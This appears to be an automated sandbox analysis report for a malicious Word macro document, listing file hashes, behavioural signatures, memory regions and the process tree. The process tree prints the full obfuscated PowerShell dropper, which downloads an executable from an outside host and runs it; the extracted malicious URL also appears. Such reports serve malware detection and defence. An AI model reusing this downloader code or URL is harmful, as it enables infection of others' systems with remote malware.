Analysis

  • max time kernel
    120s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20240220-en
  • resource tags

    arch:x64arch:x86image:win7-20240220-enlocale:en-usos:windows7-x64system
  • submitted
    14-06-2024 01:29

General

  • Target

    a788e80e8e6c307e23d52bfc0ee0773a_JaffaCakes118.doc

  • Size

    157KB

  • MD5

    a788e80e8e6c307e23d52bfc0ee0773a

  • SHA1

    74ab701c25070285a0c90b802641585f3a87121e

  • SHA256

    ec35c865bf8800c7c181f7d32eaf0ac18c1722706483e99f43e33fe16ff3ff8a

  • SHA512

    97ae4d93b97e674258d3c9ec3e009b7fc4f5d595de02fa9c61ed96e48c47b68d49e8980443bebfb8c05a2514084e005b65e34dace165cd17b05cc495e1a21c0c

  • SSDEEP

    3072:WFiV0zJjiN3ljS52R9yYZzSljw5KlAThn9t7Cry9ZwGylobUB5BEc:WW0zJ2N3RSLYZX5nnn+2U1

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://iselfcaremassager.com/tibudr/sotpie/xs/update.exe

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\a788e80e8e6c307e23d52bfc0ee0773a_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3036
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powerSHELL.exe
      powerSHELL $QmDMa9 = '$a3U62fHL = new-obj0-14711507740ect -com0-14711507740obj0-14711507740ect wsc0-14711507740ript.she0-14711507740ll;$p6gx3Vy = new-object sys0-14711507740tem.net.web0-14711507740client;$spwNW4 = new-object random;$V6LJMj1sb = \"0-14711507740h0-14711507740t0-14711507740t0-14711507740p0-14711507740://iselfcaremassager.com/tibudr/sotpie/xs/update.exe\".spl0-14711507740it(\",\");$Dkr2jJWFx = $spwNW4.nex0-14711507740t(1, 65536);$lBlL1que = \"c:\win0-14711507740dows\tem0-14711507740p\123.ex0-14711507740e\";for0-14711507740each($nE6gZ in $V6LJMj1sb){try{$p6gx3Vy.dow0-14711507740nlo0-14711507740adf0-14711507740ile($nE6gZ.ToS0-14711507740tring(), $lBlL1que);sta0-14711507740rt-pro0-14711507740cess $lBlL1que;break;}catch{}}'.replace('0-14711507740', $at5Gom);$QE0Upj9 = '';iex($QmDMa9);
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2536
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1556

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      9317b70b5df365e2f5fadd550b091138

      SHA1

      243a5b0f3e2cc2f2658fd343355444d43c569aab

      SHA256

      39b9e57bd79a5ef8ec0aad5314be9db96086c6e039235c44d549d17ff9e2e4c6

      SHA512

      2b2dd838db0c9c81a95eb951ad5c3998432ea2fd7f4c44251d3d32618877490b583eb447126a6a1327659390cce07205db2c742ff8d747c2cc9ae919e8480878

    • memory/3036-13-0x00000000002D0000-0x00000000003D0000-memory.dmp

      Filesize

      1024KB

    • memory/3036-50-0x000000007102D000-0x0000000071038000-memory.dmp

      Filesize

      44KB

    • memory/3036-14-0x00000000002D0000-0x00000000003D0000-memory.dmp

      Filesize

      1024KB

    • memory/3036-7-0x00000000002D0000-0x00000000003D0000-memory.dmp

      Filesize

      1024KB

    • memory/3036-8-0x0000000006300000-0x0000000006400000-memory.dmp

      Filesize

      1024KB

    • memory/3036-9-0x00000000002D0000-0x00000000003D0000-memory.dmp

      Filesize

      1024KB

    • memory/3036-18-0x00000000002D0000-0x00000000003D0000-memory.dmp

      Filesize

      1024KB

    • memory/3036-21-0x00000000002D0000-0x00000000003D0000-memory.dmp

      Filesize

      1024KB

    • memory/3036-17-0x00000000002D0000-0x00000000003D0000-memory.dmp

      Filesize

      1024KB

    • memory/3036-12-0x00000000002D0000-0x00000000003D0000-memory.dmp

      Filesize

      1024KB

    • memory/3036-6-0x00000000002D0000-0x00000000003D0000-memory.dmp

      Filesize

      1024KB

    • memory/3036-2-0x000000007102D000-0x0000000071038000-memory.dmp

      Filesize

      44KB

    • memory/3036-15-0x00000000002D0000-0x00000000003D0000-memory.dmp

      Filesize

      1024KB

    • memory/3036-11-0x00000000002D0000-0x00000000003D0000-memory.dmp

      Filesize

      1024KB

    • memory/3036-10-0x00000000002D0000-0x00000000003D0000-memory.dmp

      Filesize

      1024KB

    • memory/3036-22-0x00000000002D0000-0x00000000003D0000-memory.dmp

      Filesize

      1024KB

    • memory/3036-24-0x00000000002D0000-0x00000000003D0000-memory.dmp

      Filesize

      1024KB

    • memory/3036-23-0x00000000002D0000-0x00000000003D0000-memory.dmp

      Filesize

      1024KB

    • memory/3036-32-0x000000007102D000-0x0000000071038000-memory.dmp

      Filesize

      44KB

    • memory/3036-33-0x00000000002D0000-0x00000000003D0000-memory.dmp

      Filesize

      1024KB

    • memory/3036-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/3036-49-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/3036-0-0x000000002F1D1000-0x000000002F1D2000-memory.dmp

      Filesize

      4KB